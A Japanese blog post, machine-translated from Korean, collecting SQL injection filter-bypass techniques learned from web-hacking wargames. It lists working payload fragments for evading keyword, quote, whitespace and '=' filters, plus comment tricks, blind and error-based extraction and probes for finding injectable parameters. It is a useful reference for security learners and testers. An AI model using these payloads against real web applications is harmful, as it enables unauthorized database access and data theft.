Arang.dev
検索

SQL Injection バイパス技法まとめ

ウェブハッキングのウォーゲームを解きながら学んだ SQL Injection バイパス技法集

#web-security#sql-injection#bypass#waf
🌐 翻訳済み

この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。

原文(韓国語)を読む

これまでウェブハッキングのウォーゲームを解きながら気づいた(?)バイパス技法を整理しようと思います。

すべて手作業で、記憶を頼りに書いているため、抜けている部分もあるかと思います。

思い出し次第、追記して修正していきます。

- or, and

: ||, &&

- String Filtering (Ex. preg_match - admin など)

: admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)

  • char() の場合、他の進数でも使用可能

- Blind SQL Injection 時の '='(Equal) Filtering

: substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')

- substr filtering

: right(left('abc',1),1), id>0x41444d4941 ('ADMIN' は 'ADMIA' より hex 値が大きい)

- ereg, eregi

: 'admin' のフィルタリング時、'AdmIN' などでバイパス可能

: 先頭に %00 を挿入すると、後ろの文字がフィルタリングされない

- replace, replaceAll

: 'admin' のフィルタリング時、'adadminmin' などでバイパス可能

- numeric character filtering

: 0 -> '!'='@'

: 1 -> '!'='!' などで、true、false および数式を利用して数字を表現可能

- White Space Filtering (%20)

: %20 -> %0a %0b %0c %0d %09

- Single Quote Filtering (%27)

: Single Quote の中で Double quote を使うと解決する場合もある

: 特殊な条件下では %bf%27 で Multibyte を作ってフィルタリングをバイパスできることもある (ただしほとんどないケース)

: '' バックスラッシュ文字がフィルタリングされていない場合、次のような状況でバイパス可能

ex. select test1 from test where id='' and pw='or 1#

-> parameter : id=&pw=%20or%201%23

- コメント

: #, --,;%00, /* */

- コメントを利用した SQL Injection

: '#' のコメント範囲は 1 line である。1 line を分ける基準は %0a で分かれるため、下記の例のような SQL Injection を実行できる。

  • select test1 from test where id='abc'# and pw='%0aor id='admin'%23

: /* */

  • select test1 from test where id='abc'/* and pw=''*/or id='admin'%23

- Blind SQL Injection 時、sub query の結果として複数の row が返ってくるが where 文を使えないとき

: max(column_name), min(column_name), group_concat(column_name)

- テーブル名、カラム名を調べる必要があるとき

: select test1 from test where id='admin' and pw='1234' procedure analyse();

  • limit 2,1 などと一緒に使用して、必要なカラム名を一行で抽出できる

- Error Based SQL Injection を行うとき

: 0xfffffffffffff*0xfffffffffffff を行うと、Integer の範囲超過エラーが発生する

- MultiByte Character SQL Injection

: 'test1' フィールドの文字が ASCII コードではなくマルチバイト文字(ex. UTF-32 など)の場合は、次のような方法で SQL Injection を実行できる。

  • substr(hex(test1),1,1)=0x41

※ MultiByte Character かどうかを調べる方法としては、'>' と '<' を利用して範囲を絞り込んでいく際に、文字の範囲が例えば 20 と 21 の間として出てくる場合(ASCII 文字の範囲が小数点で出てくることはない)、マルチバイト文字だと推測できる。

- SQL Injection が効くか調べるとき

: ' (シングルクォート)を使ったときにエラーが出るか

: ' and '1'='1 , ' and '1'='2 を使ったとき、前者は正常に出力され、後者は出力されないか

: ' or '1'='1 を使ったとき、正常に出力されるか

: 数字で構成されたカラム (ex. idx=23001) を idx=23002-1 として入れたとき、正常に出力されるか

: '||' を使ったとき、正常に出力されるか ( Restrict. DB が Oracle で、データ型が Varchar として宣言されているとき )

: コメントを使うときは #(%23), -- (--%20), %0a

コメント

コメントを読み込み中...
SQL Injection バイパス技法まとめ | Arang